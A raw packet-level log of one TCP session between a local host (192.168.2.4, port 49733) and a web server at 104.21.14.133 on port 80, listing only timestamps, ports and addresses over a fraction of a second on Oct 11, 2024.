Oct 11, 2024 04:10:43.140261889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140280008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140280962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140295029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140307903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140311956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140355110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140366077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140377045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140386105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140399933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140414000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140424967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140441895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140444994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140445948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140465021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140465021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140481949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140485048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140495062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140505075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140511990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140526056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140527010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140546083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140553951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140562057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140577078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140593052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140598059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140608072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140619993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140625000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140639067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140649080 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140659094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140667915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140677929 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140685081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140703917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140703917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140712023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140723944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140727997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140744925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140753984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140769005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140770912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140784979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140789986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140799999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140810013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140826941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140830994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140841961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140861034 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140882015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140885115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140885115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140885115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140898943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140909910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140923023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140933037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140933037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140939951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140968084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140973091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140984058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140994072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141001940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141019106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141031981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141032934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141048908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141052961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141066074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141076088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141098976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141100883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141117096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141133070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141144037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141144037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141155958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141170979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141180992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141200066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141200066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141206980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141221046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141226053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141242027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141257048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141272068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141272068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141272068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141288996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141299009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141299963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141307116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141319990 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141331911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141340017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141350031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141360044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141365051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141376972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141392946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141395092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141412020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141418934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141433954 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141434908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141452074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141464949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141469955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141485929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141485929 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141491890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141503096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141513109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141519070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141530037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141540051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141549110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141568899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141570091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141587973 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141594887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141609907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141611099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141634941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141650915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141655922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141655922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141669035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141675949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141685009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141694069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141702890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141710997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141729116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141753912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141757011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141779900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141794920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141802073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141824961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141834974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141850948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141855001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141868114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141875982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141885042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141904116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141904116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141922951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141923904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141940117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141957045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141969919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.141972065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141988993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.141990900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142003059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142010927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142030001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142045975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142055988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142098904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142101049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142116070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142131090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142144918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142164946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142178059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142184019 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142194986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142220974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142235041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142236948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142254114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142263889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142263889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142271042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.142288923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142288923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.142307997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227247000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227282047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227339029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227408886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227432013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227432966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227432966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227452993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227504969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227509022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227509022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227557898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227570057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227607965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227611065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227658033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227663994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227691889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227713108 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227725983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227755070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227777958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227780104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227828026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227829933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227878094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227888107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.227940083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.227966070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228019953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228024006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228058100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228076935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228107929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228116035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228163004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228168964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228203058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228223085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228257895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228266001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228291035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228317022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228334904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228343964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228389978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228394985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228429079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228447914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228480101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228482962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228518963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228530884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228553057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228574038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228600025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228606939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228651047 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228658915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228693008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228703022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228725910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228743076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228760958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228792906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228841066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228841066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228841066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228848934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228899956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228903055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228939056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.228985071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228986025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.228987932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229022980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229041100 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229073048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229074001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229108095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229125977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229161024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229163885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229195118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229219913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229228020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229262114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229266882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229266882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229302883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229312897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229346991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229360104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229379892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229397058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229430914 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229437113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229480982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229485035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229513884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229535103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229547977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229564905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229584932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229598999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229618073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229641914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229652882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229674101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229708910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229715109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229746103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229763031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229778051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229788065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229813099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229825974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229846001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229860067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229880095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229890108 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229912996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229926109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229947090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229964018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.229980946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.229993105 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230015039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230026960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230048895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230067968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230082035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230102062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230117083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230132103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230151892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230173111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230184078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230202913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230220079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230238914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.230254889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.230276108 CEST	49733	80	192.168.2.4	104.21.14.133
